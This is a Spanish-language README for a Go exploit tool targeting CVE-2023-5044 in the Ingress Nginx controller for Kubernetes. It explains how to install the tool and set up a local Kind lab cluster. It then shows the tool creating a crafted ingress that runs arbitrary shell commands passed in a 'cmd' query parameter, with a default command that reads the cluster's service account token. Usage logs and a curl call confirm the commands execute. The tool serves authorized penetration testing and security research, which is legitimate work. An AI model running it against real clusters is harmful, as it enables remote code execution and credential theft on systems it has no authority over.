
Exploit de prueba de concepto basado en Go para CVE-2023-5044 en Ingress Nginx, automatizando la ejecución remota de código mediante objetos ingress manipulados en clústeres de Kubernetes.
Este es un programa rápido en Go para explotar la reciente CVE en el controlador Ingress Nginx.
Los detalles sobre cómo hacer esto ya están disponibles a través del blog de Rory McCune en https://raesene.github.io/blog/2023/10/29/exploiting-CVE-2023-5044/; esto solo automatiza un poco el proceso y limpia el exploit para que sea un payload de ejecución remota de código más flexible y genérico.
% go install github.com/4armed/cve-2023-5044@latest
Necesitarás un clúster para ejecutarlo contra una versión vulnerable de ingress-nginx (obviamente). Si no tienes uno contra el que probar, puedes crear un clúster Kind clonando este repositorio y usando el Makefile en la carpeta deploy.
% git clone github.com/4armed/cve-2023-5044
% cd cve-2023-5044/deploy && make up
Si dejas el archivo kind.yaml tal cual, tendrás un clúster vinculado a tu localhost en los puertos 30080 y 30443.
% cve-2023-5044 run -u http://localhost:30080
2024/01/17 14:10:48 INFO checking permissions
2024/01/17 14:10:48 INFO created ingress object namespace=default name=forearmed-poc-hm48l
2024/01/17 14:10:48 INFO exploit at http://localhost:30080/4armed?cmd=cat+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken"
La línea "checking permissions" se debe a que la herramienta realiza una Revisión de Acceso de Sujeto (Subject Access Review) para verificar que tienes permisos para crear un ingress. Si no los tienes, saldrá en ese punto. Si tienes acceso de edición a un ingress existente, ciertamente puedes usar el exploit para lograr un compromiso, pero es demasiado complejo automatizar la actualización de un ingress existente sin romper cosas.
La ruta predeterminada para activar el exploit es /4armed y lee y ejecuta el valor del parámetro de cadena de consulta cmd.
Imprimirá una URL de ejemplo con el comando predeterminado cat /var/run/secrets/kubernetes.io/serviceaccount/token. Puedes cambiarlo con la bandera -e o simplemente proporcionar un valor diferente en el parámetro cmd. El exploit no está codificado de forma rígida. No necesitas desplegar un nuevo ingress.
% curl 'http://localhost:30080/4armed?cmd=id'
uid=101(www-data) gid=82(www-data)
El nombre del objeto ingress se aleatoriza usando GenerateName, así que presta atención a la salida y limpia después de ti.
% kubectl delete ingress forearmed-poc-hm48l
ingress.networking.k8s.io "forearmed-poc-hm48l" deleted
Si solo quieres generar el objeto ingress, usa:
% cve-2023-5044 generate
Esto es solo con fines de prueba contra un clúster para el cual tienes autorización. Si lo usas contra un clúster, tengas permiso o no, el autor no acepta ninguna responsabilidad por cualquier daño o problema causado. Se ha tenido cuidado en elegir valores de ruta que no entren en conflicto con los existentes; puedes sobrescribirlos con banderas o cambiar el código si es necesario, pero aún así podrías romper algo. Asegúrate de saber lo que estás haciendo.